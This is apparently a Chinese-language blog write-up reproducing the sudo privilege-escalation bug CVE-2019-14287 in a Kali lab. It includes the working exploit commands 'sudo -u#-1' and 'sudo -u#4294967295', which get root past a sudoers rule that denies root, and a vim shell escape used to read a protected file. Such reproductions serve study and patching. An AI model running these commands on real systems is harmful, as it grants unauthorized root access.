sudo提权漏洞复现

漏洞ID:CVE-2019-14287

漏洞公布日期:2019年10月14日

影响范围:sudo 1.8.28 之前的所有版本

复现环境:kali

因为sudo是平时用得较多的一个命令,前两天得知了这个漏洞,就复现一下。

复现

先查看sudo版本

1
sudo -V

sudo版本低于1.8.28

创建一个test用户用于本次测试

1
2
useradd test
passwd test

编辑/etc/sudoers文件

1
vim /etc/sudoers

添加

1
test ALL = (ALL, !root) /usr/bin/vim

这里表示用户test以任意非root身份运行/usr/bin/vim,执行vim命令

如果是直接添加:

1
test ALL = (ALL, !root) /usr/bin/bash

是不是就可以直接提权呢?

test用户查看本地1文件,显示权限不够

然后我们输入

1
sudo -u#-1 vim

或者

1
sudo -u#4294967295 vim

只要用户在使用sudo命令时指定UID-14294967295,就可以以root身份执行命令。这是因为命令在将UID转换为对应用户时,会将-14294967295这两个异常数字视为0,而0root用户的UID,因此可以实现在普通用户下执行root用户权限。

vim界面下尝试读取1文件

1
:!cat ./1

读取成功

总结

该漏洞需要实现的话需要root用户在sudoers文件中添加一些非标准的配置,个人认为漏洞影响范围不大,因为谁没事会在sudoers中添加这些配置呢。

Thank you very much if you can.

欢迎关注我的其它发布渠道